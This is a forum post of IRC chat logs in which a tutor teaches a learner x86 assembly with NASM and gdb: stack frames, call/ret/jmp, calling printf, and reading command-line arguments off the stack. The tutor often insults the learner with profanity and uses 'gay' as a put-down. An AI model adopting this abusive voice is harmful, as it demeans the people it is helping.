<Factionwars> much easier ?
<rba_work> it actually makes sense that way :) Thats nice. I guess I can remember that :)

Code: [Select]
(gdb) x/1xb $ebp+0x8
0xbffffcc0:    0x02
0x02 > 0x01 :P

Quote
<Factionwars> Allright
<Factionwars> so
<Factionwars> examine number datatype length
<Factionwars> So you can do x/ two hex words from esp
<Factionwars> :)

Code: [Select]
(gdb) x/2hw $esp
0xbffffcb8:    0xbffffd38    0xb7e8de46

Quote
<Factionwars> Or you can do x/ one character byte from esp
<Factionwars> x/1cb esp

Code: [Select]
(gdb) x/1cb $esp
0xbffffcb8:    56 '8'

Quote
<Factionwars> you can also do x/s $esp
<Factionwars> examine string:P

Code: [Select]
(gdb) x/s $esp
0xbffffcb8:     "8\375\377\277F\336\350\267\002

Quote
<Factionwars> And
<Factionwars> try out x/i $eip
<Factionwars> Examine instruction at the location of $eip

Code: [Select]
(gdb) x/i $eip
=> 0x804844f <main+3>:    and    esp,0xfffffff0

Quote
<Factionwars> the print/x function prints the actual value of the register
<Factionwars> x/ dereferences it
<Factionwars> Look at this
<Factionwars> (gdb) print/x $eip
<Factionwars> (gdb) x/i 0x8048433
<Factionwars> What means that?

Code: [Select]
(gdb) print/x $eip
$1 = 0x804844f
(gdb) x/i 0x804844f
=> 0x804844f <main+3>:    and    esp,0xfffffff0

Quote
<Factionwars> It means that eip holds an .. to ..
<Factionwars> It's a mask operation
<Factionwars> but you don't have to worry about that for now
<Factionwars> Just some inverting of bits
<Factionwars> rba_work,
<rba_work> yes :)
<Factionwars> haven't filled in my sentence
<Factionwars> Or are you enjoying your own experiments? :P
<Factionwars> You are allowed to
<rba_work> yes :) I printed some registers :) It means that eip holds a pointer to the main functions stack frame?
<rba_work> no.. lol. thats doesn't make sense
<Factionwars> ip means ?
<rba_work> instruction pointer
<Factionwars> So eip holds the value of the current?
<Factionwars> the pointer to the current
<rba_work> memory location.. the next instruction that gets executed
<Factionwars> :)
<Factionwars> Now do "ni until you reach leave
<Factionwars> the leave instruction
<Factionwars> if you get the type return to continue all the time
<Factionwars> define hook-stop * enter* disas $eip, +30 *enter* end *enter*

Code: [Select]
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>disassemble $eip, +30
>end
(gdb) ni
Dump of assembler code from 0x8048452 to 0x8048470:
=> 0x08048452 <main+6>:    sub    esp,0x20
   0x08048455 <main+9>:    mov    DWORD PTR [esp+0x1c],0x96
   0x0804845d <main+17>:    cmp    DWORD PTR [ebp+0x8],0x1
   0x08048461 <main+21>:    jg     0x804846f <main+35>
   0x08048463 <main+23>:    mov    DWORD PTR [esp],0x8048540
   0x0804846a <main+30>:    call   0x8048320 <printf@plt>
   0x0804846f <main+35>:    mov    eax,DWORD PTR [ebp+0xc]
End of assembler dump.
0x08048452 in main ()
(gdb) ni
Dump of assembler code from 0x8048455 to 0x8048473:
=> 0x08048455 <main+9>:    mov    DWORD PTR [esp+0x1c],0x96
   0x0804845d <main+17>:    cmp    DWORD PTR [ebp+0x8],0x1
   0x08048461 <main+21>:    jg     0x804846f <main+35>
   0x08048463 <main+23>:    mov    DWORD PTR [esp],0x8048540
   0x0804846a <main+30>:    call   0x8048320 <printf@plt>
   0x0804846f <main+35>:    mov    eax,DWORD PTR [ebp+0xc]
   0x08048472 <main+38>:    add    eax,0x4
End of assembler dump.
0x08048455 in main ()
...
(gdb) ni
Dump of assembler code from 0x80484a8 to 0x80484c6:
=> 0x080484a8 <main+92>:    leave 
   0x080484a9 <main+93>:    ret   
   0x080484aa:    nop
   0x080484ab:    nop
   0x080484ac:    nop
   0x080484ad:    nop
   0x080484ae:    nop
   0x080484af:    nop
   0x080484b0 <__libc_csu_fini+0>:    push   ebp
   0x080484b1 <__libc_csu_fini+1>:    mov    ebp,esp
   0x080484b3 <__libc_csu_fini+3>:    pop    ebp
   0x080484b4 <__libc_csu_fini+4>:    ret   
   0x080484b5:    lea    esi,[esi+eiz*1+0x0]
   0x080484b9:    lea    edi,[edi+eiz*1+0x0]
   0x080484c0 <__libc_csu_init+0>:    push   ebp
   0x080484c1 <__libc_csu_init+1>:    mov    ebp,esp
   0x080484c3 <__libc_csu_init+3>:    push   edi
   0x080484c4 <__libc_csu_init+4>:    push   esi
   0x080484c5 <__libc_csu_init+5>:    push   ebx
End of assembler dump.
0x080484a8 in main ()

0x07 the leave instruction

Quote
<rba_work> ok.. the next step would be leave
<Factionwars> Allright
<Factionwars> What leave does it takes the adress before ebp
<Factionwars> Wich is the previous base pointer as you remember
<Factionwars> And puts it in ebp
<Factionwars> Thus restoring the old base pointer
<Factionwars> Can you understand that?
<Factionwars> You can look at it

Code: [Select]
(gdb) x/1xw $ebp
0xbffffcb8:    0xbffffd38

Quote
<Factionwars> That could be it
<Factionwars> Now step over leave and print ebp
<Factionwars> See if you where right (and i
<Factionwars> uh
<Factionwars> no
<Factionwars> x/1xw $ebp
<Factionwars> Try it
<Factionwars> could be that value
<Factionwars> :P

Code: [Select]
(gdb) ni
Dump of assembler code from 0x80484a9 to 0x80484c7:
=> 0x080484a9 <main+93>:    ret   
   0x080484aa:    nop
   0x080484ab:    nop
   0x080484ac:    nop
   0x080484ad:    nop
   0x080484ae:    nop
   0x080484af:    nop
   0x080484b0 <__libc_csu_fini+0>:    push   ebp
   0x080484b1 <__libc_csu_fini+1>:    mov    ebp,esp
   0x080484b3 <__libc_csu_fini+3>:    pop    ebp
   0x080484b4 <__libc_csu_fini+4>:    ret   
   0x080484b5:    lea    esi,[esi+eiz*1+0x0]
   0x080484b9:    lea    edi,[edi+eiz*1+0x0]
   0x080484c0 <__libc_csu_init+0>:    push   ebp
   0x080484c1 <__libc_csu_init+1>:    mov    ebp,esp
   0x080484c3 <__libc_csu_init+3>:    push   edi
   0x080484c4 <__libc_csu_init+4>:    push   esi
   0x080484c5 <__libc_csu_init+5>:    push   ebx
   0x080484c6 <__libc_csu_init+6>:    call   0x804851a <__i686.get_pc_thunk.bx>
End of assembler dump.
---Type <return> to continue, or q <return> to quit---
0x080484a9 in main ()
(gdb) x/1xw $ebp
0xbffffd38:    0x00000000

# - Lesson 4 jump, call and functions

0x01 The call instruction

Quote
<Factionwars> Okay as first
<Factionwars> The call instruction
<Factionwars> Do you already know what it does? (without looking up)
<rba_work> call   0x8048350 <atoi@plt> this? It looks like a call to the c function atoi
<rba_work> but I have no clue what @plt means
<Factionwars> Yes but what exactly do you think is a "call" on this level?
<Factionwars> A jump is "change EIP to that location"
<Factionwars> So why would we need an call?
<Factionwars> No clue? :)
<rba_work> not really :( because it is part of a c library?
<Factionwars> Yay
<Factionwars> I like explaining
<rba_work> Yes.. please explain it to me :)
<Factionwars> A call instruction is really made for functions at the lowest level. It is the same as jmp but with 1 difference, and that is that it pushes a return adress to the stack.
<Factionwars> This return adress is the next instruction after the call instruction.
<Factionwars> And then we have the "ret" instruction, it's basically a return  instruction wich is the exact opposite of the call instruction. It pops the return adress off the stack and goes there.
<Factionwars> Is this clear to you?
<Factionwars> It some pretty easy logic
<rba_work> this means the call instruction tells eip on which memory location it should execute the next instruction?
<Factionwars> But the jmp instruction also does this
<Factionwars> What is the difference?
<rba_work> I think jump belongs to a conditional statement like if and call just gets executed?
<Factionwars> Are you awake?
<Factionwars> Read my first sentence please :D
<rba_work> ah :) it pushes a return address to the stack.
<Factionwars> :)
<rba_work> so eip knows where to execute the next statement after the call is done?
<rba_work> call   0x8048350 <atoi@plt> is this 0x8048350´the return address?
<Factionwars> Well
<Factionwars> I can explain the call and ret logic in instructions
<Factionwars> call:
<Factionwars> push eip
<Factionwars> jmp function
<Factionwars> ret:
<Factionwars> pop eax
<Factionwars> jmp eax
<Factionwars> So the call instruction saves the return adress and the "ret" (return) instruction takes that (if the stack is restored to it's previous state so the return address is at the top) and jmps to that return adress
<Factionwars> And in order to not get a loop call pushes the next instruction on the stack
<Factionwars> Is that easy to understand?
<rba_work> not really easy but I think I got that.
<Factionwars> Allright, in order to fully understand it i want you to write it in asm
<Factionwars> We will write a full function without the stackframe hassle
<rba_work> ok.. One question. that pop eax means that the information which is on top of the stack gets writen into eax?
<Factionwars> jep :)
<rba_work> written*
<Factionwars> And removed off the stack
<Factionwars> You see this function in loads of languages with the same meaning
<rba_work> yes.. Then I really understood the example :)
<Factionwars> Even python has a array.pop :)
<rba_work> true :)
<Factionwars> So open up a piece of asm
<Factionwars> Same skeleton
<rba_work> ok.. I have that :)
<Factionwars> Well what do you want your function to do?
<rba_work> return the sum of two integers?
<Factionwars> print it ?
<rba_work> sure :)
<Factionwars> Allright
<Factionwars> Remove the _start
<Factionwars> keep the global _start
<Factionwars> You will write the _start after you have written your function
<Factionwars> So create a label for your function
<rba_work> ok.. I called it function :)
<Factionwars> Come on dude
<Factionwars> Call it something fance
<Factionwars> fancy
<rba_work> Ok :) as it should calculate the sum I call it sum :)
<Factionwars> great
<Factionwars> Okay let's assume you pass your variables through eax and ebx
<rba_work> I guess it is something like add eax, ebx.. but the define would not be db?
<Factionwars> Why do you need to define something ? :)
<Factionwars> http://en.wikibooks.org/wiki/X86_Assembly
<Factionwars> See if you can find the correct instruction
<rba_work> mhhh.. I guess I just need to initialize a var which holds the sum in the end?
<Factionwars> Why do you think that?
<rba_work> true.. I don't need that. when I do add eax, ebx eax will hold the sum, right?
<Factionwars> yes :)
<Factionwars> And eax is usually the return value of a function
<Factionwars> So that's easy
<Factionwars> and then return
<rba_work> ok.. I have no clue what I need to define in the data section :(
<Factionwars> Do you need to?
<rba_work> I don't think so. Do I?
<rba_work> lol
<Factionwars> Nope
<rba_work> So I just create a label without defining anything?
<Factionwars> Jep :)
<Factionwars> Things are not so hard as you think
<Factionwars> A label is just an adress
<Factionwars> Or an offset
<rba_work> do I need to define the label in the .data section in order to use it like this global _sum \n _sum: ?
<rba_work> no I guess. That would be a section and not a label, right? Need to get the right terms. lol
<Factionwars> You don't have a reason for it. And the .data section is used for specific variables.
<Factionwars> Not for function locations :P
<Factionwars> And there is also no reason of making it a global function right?
<Factionwars> You are calling the function in the same file
<rba_work> now that you say it.. right :)
<Factionwars> in the same section
<Factionwars> You have to think more low level, a call is a push and a jmp
<Factionwars> to an adress
<Factionwars> There is no such function
<Factionwars> That is a funciton
<Factionwars> It's that easy
<Factionwars> So in order to make a call work you only need a adrress of where to go
<Factionwars> There we will use nasm's labels because we don't want to hassle with adresses
<rba_work> That makes it a bit more clear.. but I still haven't got the big picture. By defining a label I have a name for a memory location. The return address gets pushed to the stack when I do a call function. would that be call label <function>? Lately I am really dull.. lol
<Factionwars> There is no such thing as <function>
<Factionwars> " By defining a label I have a name for a memory location. " < perfect
<Factionwars> Let's say it in different words.
<Factionwars> There is no such thing as a function at this level. You are the one to create the function logic.
<Factionwars> You are here to jump to a location, and when the instructions on that location are done return to the main logic. That is a function.
<Factionwars> And when writing asm you have to write the jmp to the adress and return to a adress.
<Factionwars> You can do it with jmp, call, ret whatever you like xD
<Factionwars> "Pushes the address of the next opcode onto the top of the stack, and jumps to the specified location. This is used mostly for subroutines."
<rba_work> ok.. so the label is the memory location where my function is located?
<Factionwars> Yes
<Factionwars> It's the same in C/C++, it's just a memory location :)
<rba_work> Now I got that.. I push the return address (which is the address of the first instruction I want to execute after the call to the stack and jump to the address where the instructions of my function are located. Afterwards I return which basically pops the return address from the stack and passes that to eip so eip knows where to go on?
<Factionwars> Yes :)
<Factionwars> only "the call to the stac" is weird
<rba_work> right.. should be call to the function not stack
<rba_work> I guess it will get more clear to me when we write the code :)
<Factionwars> Go ahead
<Factionwars> try to write some
<Factionwars> Just wriite
<rba_work> So I have my label which holds a memory location. Now I would need to write the code of the function into that location? how can I do that?
<rba_work> do I create a section for it and in the data section I would do sum: _func ?
<rba_work> I don't get it.. lol
<Factionwars> section .text  /../
<Factionwars> MyFunction:
<Factionwars> code
<Factionwars> _start:
<Factionwars> more code
<rba_work> ok.. I will try it :)
<rba_work> no matter what I do it always gives me a seg fault.. lol
<Factionwars> pastebin
<rba_work> its not much.. I guess the problem is that I call sum but it is not the location where _myfunc is at ???

Nothing to see here.. :P That RBA guy was pretty, pretty dull .. lol

0x02 The jump instruction

Quote
<Factionwars> Ohmygod
<Factionwars> omyfucking god rba_work
<Factionwars> Is your head empty?
<rba_work> seems like :(
<Factionwars> How many times did we talk about that you don't need to do ANYTHING ANYTHFUCKINGTHING with the data segment
<Factionwars> You told me 3 times :P
<Factionwars> THERE IS NO SUCH THING AS A FUNCTION
<Factionwars> THERE IS NOTHING TO DEFINE
<Factionwars> You are now jumping into the data segment
<Factionwars> Wich is not allowed
<Factionwars> Thus giving you a segfault
<Factionwars> Okay we are going to step down
<Factionwars> drop the whole call instruction
<Factionwars> It's to complicated for your braincells
<Factionwars> use a jmp
<Factionwars> and at the end of your function jmp back to a label after the previous jmp
<Factionwars> rba_work,
<Factionwars> rba_work,
<rba_work> still trying to figure that out...
<Factionwars> How far did you get?
<Factionwars> It's just jmping to a label
<Factionwars> there is NOTHING fancy happening
<Factionwars> Stop thinking like this is rocket science
<rba_work> still searching how to define labels that hold the addresses where I actually want to jump to
<Factionwars> jezus
<Factionwars> :P
<Factionwars> Why don't you fucking ask
<Factionwars> You are wasting your time
<Factionwars> You already defined a label _start
<Factionwars> ITS THAT EASY
<Factionwars> I am trying to say it all the fucking time
<Factionwars> You just have to listen to my words more carefully, and see that it's nothing fancy. Its just "MyLabel:"
<Factionwars> THATS IT
<Factionwars> no more declaratiopns
<Factionwars> NOTHING MORE
<Factionwars> WELL THAT IS FUCKING ANAL DILDO SCIENCE NOT?
<Factionwars> ANd throw away that fucking crap in your data segment
<Factionwars> rba_work, you are going to react right now:P
<rba_work> one sec.. I am trying it :)

Code: (asm) [Select]
section .text
        global _start         

Myfunc:
        add eax, ebx        ; calc eax + ebx
        jmp end                ; jump to the memory address where end is located

_start:
        mov eax, 0x05         ; set eax to dec 5
        mov ebx, 0x05         ; set ebx to dec 5
        jmp Myfunc

end:
        mov eax, 0x01         ; Linux syscall 1 (exit)
        xor ebx, ebx        ; exit return value 0
        int 0x80             ; Execute the syscall

0x03 the call instruction (again)

Quote
<rba_work> Ok.. I have that. Now that I know that _start: and stuff are also labels its quite easy. I am going to do it with call now :)
<Factionwars> FINALLY
<Factionwars> :P
<rba_work> ok.. I am still to stupid to get it working. Maybe its going better after the lunch break :)
<Factionwars> NO
<Factionwars> you lazy fuck
<Factionwars> stay here
<Factionwars> until it works
<Factionwars> pastebin now
<rba_work> it does not work and you will get angry if you see what I did do far :)
<Factionwars> No
<Factionwars> You are going to pastebin it
<Factionwars> You proceeded because i cursed on you
<Factionwars> :D
<rba_work>I am sure I am missing to tell the program where it should return to.. I need to pop something I guess.
<rba_work> give me a sec to go through the irc log.. maybe I can figure it out.. I am sure you already told me
<Factionwars> You are doing good
<Factionwars> But you don' get the return logic :)
<Factionwars> What should return
<Factionwars> The main logic or the function you call?
<rba_work> the function I call should return. I already tried to place the ret in the function.. but that doesn't work too
<Factionwars> Well do that first :)
<Factionwars> And it segfaults because there is no exit call
<rba_work> damn.. you are right.. lol. That works
<Factionwars> Congrats, the one who keeps trying succeeds :)

Code: (asm) [Select]
section .text
        global _start

Myfunc:
        add eax, ebx        ; calc eax + ebx
        ret                 ; return to the main logic
_start:
        mov eax, 0x05         ; set eax to dec 5
        mov ebx, 0x05         ; set ebx to dec 5
        call Myfunc         ; jump to Myfunc and push the return address to the stack
        mov eax, 0x01         ; Linux syscall 1 (exit)
        xor ebx, ebx         ; exit return value 0
        int 0x80             ; Execute the syscall

0x04 Output the result

Quote
[15:33:06] <rba_work> Factionwars: can you tell me why I only get a empty line ?

Code: (asm) [Select]
section .text
        global _start

Myfunc:
        add eax, ebx            ; calc the sum from eax and ebx
        ret
_start:
        mov eax, 0x05           ; Give eax the value 5
        mov ebx, 0x05           ; Give ebx the value 5
        call Myfunc             ; call the function to calc the sum

        push eax                ; push the result to the stack

        mov eax, 0x04           ; write syscall
        mov ebx, 0x01           ; write to stdout
        mov ecx, esp            ; pointer to the result of Myfunc
        mov edx, 0x02           ; result is 10 = len 2
        int 0x80                ; execute the write syscall

        mov eax, 0x01           ; exit syscall
        xor ebx, ebx            ; exit status 0
        int 0x80                ; execute the exit syscall

can you answer my question. Tbh its pretty obvious :P

0x05 Using external commands (printf)

Quote
<Factionwars> I feel an proud stumach feeling
<Factionwars> Almost correct :)
<Factionwars> The problem is that you are writing 10 to stdout. While 10 in the ascii table is "line feed" so that is not "10" or any other character. 
<Factionwars> Do you think it would be fun to try out printf?
<Factionwars> or you can use itoa
<Factionwars> rba_work,
<rba_work> is itoa a function I can use directly in nasm? or is it an external thing like printf?
<Factionwars> itoa doesn't exists by default nvm :P
<Factionwars> printf / sprintf is the way to go
<Factionwars> We can sprintf into a string or printf directly to the output
<Factionwars> Do you know how printf works?
<Factionwars> Pretty easy printf("The addition of 5 and 5 is: %d", int);
<rba_work> not really.. guess if I would have more c experience I would know that.,. lol. Damn python teaches you nothing.. lol
<Factionwars> Ah doesn't matter,
<Factionwars> hacking the art of explotation has a extensive format string guide
<Factionwars> But my example is pretty straight foward?
<Factionwars> Allright
<Factionwars> You can link your asm file with gcc
<rba_work> Ah.. yes.. I know that from python :)
<rba_work> the format string I mean
<Factionwars> yes
<Factionwars> When you compile it with gcc you can use libc functions
<Factionwars> The only thing you gotta do is change the _start to main
<Factionwars> not _main
<Factionwars> main
<Factionwars> and global main
<Factionwars> So gcc can find the main function
<Factionwars> [factionwars@Chronos c-research]$ vim printf.asm
<Factionwars> [factionwars@Chronos c-research]$ nasm printf.asm -o printf.o -felf32
<Factionwars> [factionwars@Chronos c-research]$ gcc -m32 printf.o -o printf
<Factionwars> [factionwars@Chronos c-research]$ ./printf
<Factionwars> Works very easily
<Factionwars> Just after the global main say extern printf. This is because gcc will then look elsewhere for printf, then you can do "call printf"
<rba_work> ok.. I understand that so far. But how do I pass what I want to print?
<Factionwars> Well, that is part of the calling convention. In libc that is by stack.
<Factionwars> And you will have to push the arguments in reverse.
<Factionwars> Because ofcourse the last item will be read first :)
<rba_work> so when I call printf it automatically passes what I pushed to the stack before?
<Factionwars> Not exactly, printf reads it from the stack
<Factionwars> Do you remember the arguments being ebp+
<Factionwars> So before the current stack frame :)
<Factionwars> That is where you push things
<Factionwars> So if you do a man 3 printf
<Factionwars> You will see that it requires a const char *format and then the parameters
<Factionwars> So define your strign in the data segment
<Factionwars> the format string
<Factionwars> with the %d
<Factionwars> And some gay text
<Factionwars> So the parameters are?
<Factionwars> rba_work,
<rba_work> sorry.. these damn users always want something from me when I don't have time for them.. lol
<Factionwars> xD
<rba_work> a pointer to the format? int printf(const char *format, ...);
<rba_work> that would be my label I defined in the data secion?
<Factionwars> formatstring or something
<rba_work> so I would need to push the register that holds the value I want to print and then my label?
<Factionwars> rba_work, that will do yes
<rba_work> I'll try that :)

That does not work. Do you know why?

Code: (asm) [Select]
section .data
        output: db "The sum of 5 and 5 is: %d"

section .text
        global main
        extern printf

Myfunc:
        add eax, ebx            ; calc the sum from eax and ebx
        ret
main:
        mov eax, 0x05           ; Give eax the value 5
        mov ebx, 0x05           ; Give ebx the value 5
        call Myfunc             ; call the function to calc the sum

        push eax                ; push the result to the stack
        push output             ; push the label to the stack

        call printf

        mov eax, 0x01           ; exit syscall
        xor ebx, ebx            ; exit status 0
        int 0x80                ; execute the exit syscall

Quote
<rba_work> Factionwars: that does not work. Am I missing something?
<Factionwars> rba_work, do "ltrace ./executable" in bash
<Factionwars> and gimme output
<Factionwars> Ehh
<Factionwars> You need to make it a valid string
<Factionwars> "gayy", 0x00
<rba_work> I see.. the null byte
<Factionwars> :)
<rba_work> damn.. lol
<Factionwars> And also throw in a newline
<Factionwars> %d\n
<Factionwars> rba_work, ?
<rba_work> it still prints nothing. :( ltrace says something about unfinished?
<rba_work> __libc_start_main(0x8048413, 1, 0xbfcaaad4, 0x8048440, 0x80484b0 <unfinished ...>
<rba_work> printf("The sum of 5 and 5 is: %d", 10)          = 25
<rba_work> +++ exited (status 0) +++
<Factionwars> PUT IN THE NEW LINE MY BUDDY
<Factionwars> THE PRINTF IS BEAUTIFULL
<Factionwars> BUT NOW WITHOUT A NEWLINE
<Factionwars> WON'T FLUSH SHIT
<Factionwars> NOT*
<rba_work> printf("The sum of 5 and 5 is: %d\\n", 10)       = 27
<Factionwars> NO
<Factionwars> \n
<Factionwars> not \\n
<rba_work> I only put one in... seems like the compiler wants to escape it???
<Factionwars> Okay
<Factionwars> And it does not give output when you run it without ltrace now?
<rba_work> yes
<Factionwars> no?
<rba_work> there is no output
<Factionwars> gimme yer code
<Factionwars> because you are trolling
<rba_work> I am not.. I would never do that.
<Factionwars> rba_work,
<Factionwars> remove the \n
<Factionwars> And replace it with the real ascii version
<Factionwars> ", 0x0A, 0x00
<Factionwars> 0x0a == newline
<rba_work> ok.. I'll try it
<rba_work> awesome :) it works :) many thanks :P

Code: (asm) [Select]
section .data
        output: db "The sum of 5 and 5 is: %d", 0x0a, 0x00

section .text
        global main
        extern printf

Myfunc:
        add eax, ebx            ; calc the sum from eax and ebx
        ret
main:
        mov eax, 0x05           ; Give eax the value 5
        mov ebx, 0x05           ; Give ebx the value 5
        call Myfunc             ; call the function to calc the sum

        push eax                ; push the result to the stack
        push output             ; push the label to the stack

        call printf

        mov eax, 0x01           ; exit syscall
        xor ebx, ebx            ; exit status 0
        int 0x80                ; execute the exit syscall

# - Lesson 5 command line arguments

0x01 - Where are the command line arguments located

Quote
<Factionwars> Where did you left of?
<rba_work> I tried to get the command line arguments :)
<Factionwars> And ?
<Factionwars> How did you end up
<rba_work> Can I tell you what I found out and you tell me if its correct?
<Factionwars> Yessir i can help you
<Factionwars> Can't give you an intense lesson
<rba_work> ok.. basically the command line arguments I pass to the script are available on the stack when the program starts. On the stack frame that belongs to my main: or _start
<rba_work> on the top of the stack (at the highest address) is the Argument count
<rba_work> then the Address of the program path and then the first argument and so on
<rba_work> so I did a pop ebx (to store the Argument count)
<rba_work> pop ecx to store the address of the program path

le Stack:


Quote
<Factionwars> yhea
<Factionwars> Not going to work :P
<Factionwars> right?
<Factionwars> You are close though
<Factionwars> You should use a character like AAAAAA for the argument and then inspect with GDB where it ends up
<Factionwars> This by analyzing the stack
<rba_work> printf prints something but its not the value I past.. thats a good idea :)
<Factionwars> Just break main and see where the arguments are on the stack
<Factionwars> First
<Factionwars> Gimme the command for examining 10 hexadecimal words from the stack
<Factionwars> A word in GDB is 32bits/
<rba_work> x/10xw ?
<Factionwars> Yes and from where?
<rba_work> but how do I look at the stack
<rba_work> esp?
<Factionwars> Great :D
<Factionwars> You are doing great
<Factionwars> And if you analyze it and think very deep you might know why the arguments are not where you want
<Factionwars> want them to be
<rba_work> and there would be my other question.. lol. I searched and found examples where they get the value by doing mov eax, [esp+8] for the first Argument. why is it +8 and not -8. I know that we talked about it but I guess I did not really understand.. lol
<Factionwars> You kinda did understand by then :)
<Factionwars> Well it should be ebp
<Factionwars> But i want you to analyze a bit
<Factionwars> googling is not going to help you any further
<Factionwars> Or me saying the answerd
<Factionwars> answers
<rba_work> I will do it.. just need to write it again.. forgot to push my last stuff.. lol
<Factionwars> You don't need the printf
<Factionwars> You can rewrite
<rba_work> should I do it with the write syscall?
<Factionwars> Sure

Code: (asm) [Select]
section .text
        global _start

_start:
        pop ecx                    ; get the number of arguments
        pop ecx                    ; get the program name
        pop ecx                    ; get the first argument

        mov eax, 0x04           ; write syscall
        mov ebx, 0x01           ; write to stdout
                                ; ecx already holds the first command line argument
        mov edx, 0x02           ; print the first two bytes
        int 0x80                ; execute the write syscall

        mov eax, 0x01           ; exit syscall
        xor ebx, ebx            ; exit status 0
        int 0x80                ; execute the exit syscall


0x02 Examine the Stack

Quote
<rba_work> ok.. when I use the write syscall it prints the correct value. printf always printed the address where my value was at. Was not so obvious cause I printed it in dec
<rba_work> I will look at the stack now with gdb :)
<rba_work> hmm.. I set a breakpoint at _start and run it. If I want to use the examine command I always get the message
<rba_work> (gdb) x/10xw esp
<rba_work> No symbol table is loaded.  Use the "file" command.
<Factionwars> does write give you AAAA
<rba_work> but disas shows something
<Factionwars> $esp
<Factionwars> not esp,
<rba_work> right.. damn. When will this finally get into my brain lol
<rba_work> it basically prints it.. but as I need to supply a length for the output its difficult
<Factionwars> yah
<Factionwars> where is it on the stack now?
<Factionwars> No
<Factionwars> different question
<Factionwars> Why would this in c/c++ be in a different location?
<Factionwars> That relates to the ebp + 8 thingie
<rba_work> ebp points to the top of the stack too, right?
<Factionwars> Your kidding me?
<Factionwars> Don't google
<Factionwars> dont go anywhere else
<Factionwars> THINK
<rba_work> its the base pointer
<Factionwars> CRUNCH YOUR FUCKING BRAIN
<Factionwars> so where does it point to
<rba_work> hmm.. esp was the stack pointer which points to the top of the stack.. ebp had something to do with the stack frame, right?
<rba_work> I can't remember it :(
<Factionwars> the fuck does the name suggests
<rba_work> I know we had it when we disassembled the c code. There it was used to allocate space.. thats what I can recall
<Factionwars> BASE POINTER
<Factionwars> BASE
<Factionwars> STACK TOP
<Factionwars> ESP TOP
<Factionwars> EBP BASE POINTER
<Factionwars> see the logic? :D
<Factionwars> corona again
<Factionwars> Maybe cures the headache
<rba_work> I guess your headache will get worst when we go on :)
<Factionwars> No this is part of my method
<Factionwars> Lesson 102
<Factionwars> STACK
<Factionwars> ESP points to the top of the stack
<Factionwars> EBP points to the base/bottom of the stack
<Factionwars> rba_work,
<Factionwars> what are you doing
<rba_work> trying to get my boss out of my office :)
<rba_work> ok.. guess I can remember it this way :)
<rba_work> so why would this in c/c++ be in a different location was the question.
<Factionwars> Yes
<rba_work> has it something to do with the function prologue?
<Factionwars> Yes
<rba_work>    0x0804844c <+0>:    push   ebp
<rba_work>    0x0804844d <+1>:    mov    ebp,esp
<rba_work> => 0x0804844f <+3>:    and    esp,0xfffffff0
<rba_work>    0x08048452 <+6>:    sub    esp,0x20
<rba_work> this was the prologue
<Factionwars> The +6 is also prologue, but untill +1 is the original prologue.
<Factionwars> You only need to care for the original for now
<Factionwars> The sub at +6 is because GNU compilers don't use push and pop but rather use direct methods live mov eax, [esp+10]
<Factionwars> Don't ask me why, probably optimization
<rba_work> ebp does not point to the bottom of the stack anymore after this operation. it points to the top
<Factionwars> YEs
<Factionwars> go on
<rba_work> this is to prepare the stack frame for the main function?
<Factionwars> Yes, this is because functions use stack frames. These are kind of virtual stack frames.
<Factionwars> Virtual stacks
<Factionwars> To keep things sepperated
<Factionwars> And rba_work
<Factionwars> Last killer question
<Factionwars> You should not google
<Factionwars> I can teach it
<Factionwars> why ebp + 0x08
<Factionwars> When it is out of the current stack frame
<Factionwars> So it's not in between esp and ebp
<Factionwars> Why would you + on ebp
<Factionwars> When it's not in between esp and ebp
<rba_work> Because these arguments are not stored in the (lets call it) main stack frame?
<rba_work> main functions stack frame
<Factionwars> That is not the answer what i a looking for
<Factionwars> When i have var1 and var2
<Factionwars> var1 is 0 and var2 is 10
<Factionwars> I do var1+0x08 then it's still between var1 and var2 right ? :)
<Factionwars> Why does this not apply for the stack
<Factionwars> Don't google  :)
<Factionwars> You might read the lessons
<Factionwars> But you can also think very deeply :P
<Factionwars> Million dollar question if you answer it in 10 seconds
<Factionwars> Suck to be you mate
<Factionwars> You could have gotten 1 million
<rba_work> I would prefer to get the answer instead :) lol. The stack grows downwards
<Factionwars> Wasn't that hard right?
<rba_work> absolutely not.. lol.
<Factionwars> Can you understand it?
<rba_work> I guess I will paint a picture later :)
<Factionwars> VAR1  10, 9, 8, 7, 6, 5, 4, 3, 2, 1  VAR2,     VAR1 +0x08
<Factionwars> Doesn't result in the stack frame :)
<Factionwars> EBP 10, 9, 8, 7, 6, 5, 4, 3, 2, 1  ESP,     EBP +0x08
<Factionwars> Does that draw you a nice picture?
<Factionwars> I hope not of cocks
<Factionwars> But you are totally free to imagine that.
<Factionwars> I am not here to limit your sexuality
<Factionwars> Though in the end you will be a real man
<rba_work> lol :) yes this really helps :)
<Factionwars> It's just all those little details where you need to focuss on in order to truly understand things.
<Factionwars> When you rage over those things you will get frustrated in the end
<rba_work> guess without your help I would have given up already :)

Quote
<Factionwars> rba_work, :D
<rba_work> hi :) can you please give me a hint how I can follow a pointer in gdb :( I tried and tried yesterday.. but without any results. Give me a sec to open it up and show you what I mean
<Factionwars> Sure
<rba_work> ok.. basically I pop the first argument from the stack which is a pointer to the program name and save it in ebx. When I do Examine 1 hex word (cause the address should be 4 byte / 32 bits) I see the following:
<rba_work> (gdb) x/1xw $ebx
<rba_work> 0xb7e354d3 <__libc_start_main+243>:     0xe8240489
<rba_work> now I want to see what is at that address so I do the same just with the address
<rba_work> (gdb) x/1xw 0xe8240489
<rba_work> 0xe8240489:     Cannot access memory at address 0xe8240489
<rba_work> so its not a memory location?
<rba_work> but it should be as it is a pointer???
<Factionwars> What is the difference between x/ and print/x?
<Factionwars> rba_work,
<rba_work> print/x dereferences.. I still need to look up what that means :P
<Factionwars> WHAT DID I SAY
<Factionwars> YOU DON'T LOOK THINGS UP WHEN IN CLASS YOU BITCH ASS
<Factionwars> :P
<Factionwars> "Factionwars what exactly does dereferences mean" If you don't ask you are wasting lessons, really because if you don't ask for clarification how am i supposed to know you understand any? :)
<rba_work> can you explain to me what that really means?
<rba_work> I need to go for a couple of minutes to plug some cables :( I am back in 10 minutes.. thats the dark side of this job. lol
<Factionwars> okay
<Factionwars> Allright,
<Factionwars> Another name for a pointer is a reference. Because when you have a reference to something infact it points you to that object. When you have a reference to a shop and you drive there it points you to the shop. Well this explains the term dereferencing. When you dereference something you turn the pointer into the actual object.
<Factionwars> When i have a pointer "int * a"
<Factionwars> While a is a pointer, i dereference it with *a then it is not a pointer but a integer.
<Factionwars> print/x prints the value of something.
